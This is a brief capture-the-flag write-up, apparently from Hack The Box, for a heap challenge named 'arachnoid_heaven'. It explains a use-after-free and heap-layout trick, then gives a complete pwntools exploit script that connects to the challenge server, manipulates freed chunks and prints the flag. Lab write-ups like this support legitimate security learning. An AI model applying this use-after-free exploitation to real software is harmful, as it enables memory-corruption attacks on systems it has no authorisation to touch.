Tags: heap-feng-shui uaf
Rating:
An arachnoid consists of three chunks. The delete arachnoid function doesn't remove the 0x20 chunk, allowing us to manipulate the heap in a way that places the name 0x30 chunk after the data 0x30 chunk. Combined with a Use After Free and we pass the checks for the `obtain_arachnoid` function.
```py
#!/usr/bin/env python3
from pwn import *
elf = ELF("./arachnoid_heaven_patched", checksec=False)
context.binary = elf
p = remote("64.227.40.93",31710)
index = 0
def malloc(data):
global index
p.sendlineafter(b">", b"1")
p.sendlineafter(b"Name: ", f"{data}".encode())
index += 1
return index - 1
def free(index):
p.sendlineafter(b">", b"2")
p.sendlineafter(b"Index: ", f"{index}".encode())
def view():
p.sendlineafter(b">", b"3")
def obtain(index):
p.sendlineafter(b">", b"4")
p.sendlineafter(b"Arachnoid", f"{index}".encode())
chunkA = malloc(b"AAAAAAAA")
free(chunkA)
chunkB = malloc(b"BBBBBBBB")
free(chunkB)
chunkC = malloc(b"CCCCCCCC")
free(chunkC)
chunkD = malloc("sp1d3y")
obtain((chunkC))
flag = p.recvline_contains(b"HTB").decode("utf-8")
log.critical(f"Flag: {flag}")
p.close()
```